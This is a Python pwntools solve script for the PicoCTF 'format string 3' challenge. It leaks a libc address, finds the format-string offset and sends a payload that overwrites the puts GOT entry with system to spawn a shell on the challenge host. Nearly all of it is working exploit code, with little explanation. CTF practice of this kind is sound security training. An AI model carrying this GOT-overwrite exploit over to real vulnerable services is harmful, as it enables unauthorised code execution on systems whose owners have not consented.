PicoCTF Format String 3

formatstr3.py

#!/usr/bin/env python3

from pwn import *
import argparse
import os
from time import sleep

REQS = ["./format-string-3", "libc.so.6", "ld-linux-x86-64.so.2"]
BIN, libc, _ = REQS
context.binary = ELF(BIN)
LIBC = ELF(libc)
GOT = context.binary.got
LIBC_SYM = LIBC.symbols
PORT = 0
RETRY = 3
PROC = None

def get_addrleak():
    global PROC
    global PORT
    for ea in range(RETRY):
        try:
            PROC = context.binary.process() if not PORT else remote('rhea.picoctf.net', PORT)
            addr = PROC.recv().decode().split('libc: ')[1].split('\n')[0]
            return addr
        except Exception as e:
            PROC.close()
            log.error(f"Unexpected {e.__class__.__name__} in get_addrleak() (Attempt{ea+1}/{RETRY})")
            sleep(RETRY)

    raise RuntimeError("Unable to get addr leak from challenge, please try again!")

def send(data):
    global PORT
    p = context.binary.process() if not PORT else remote('rhea.picoctf.net', PORT)
    log.info(f"Sending payload: {repr(data)}")
    p.sendline(data)
    recvd = p.recvall()
    p.close()
    return recvd

def get_offset():
    offset = FmtStr(send).offset
    log.info(f'{offset=}')
    return offset

def main():
    global PROC
    offset = get_offset()
    addrleak = get_addrleak()
    LIBC.address = int(addrleak, 16) - LIBC_SYM['setvbuf']
    _system = LIBC.address + LIBC_SYM['system']
    _puts = GOT['puts']
    log.info("Doing the dang thing, this should give us a shell...")
    switcheroo = {_puts: _system}
    payload = fmtstr_payload(offset, switcheroo)
    log.info(f"sending payload with offset:", offset, "switcheroo:", switcheroo)
    PROC.sendline(payload)
    PROC.interactive()

def parse_args() -> argparse.Namespace:
    global PORT
    parser = argparse.ArgumentParser(prog="formatstring3", description="Solves PicoCTF challenge 'format string 3'")
    parser.add_argument("port", type=int, default = 0, help="The port to connect to the challenge instance")
    args = parser.parse_args()
    PORT = args.port

if __name__ == "__main__":
   missing = [req for req in REQS if not os.path.isfile(req)]
   for ea in missing:
       raise OSError("Required challenge file(s) not found in current directory")
       os.exit()
   parse_args()
   log.info(f"Running solve on port: {PORT}")
   main()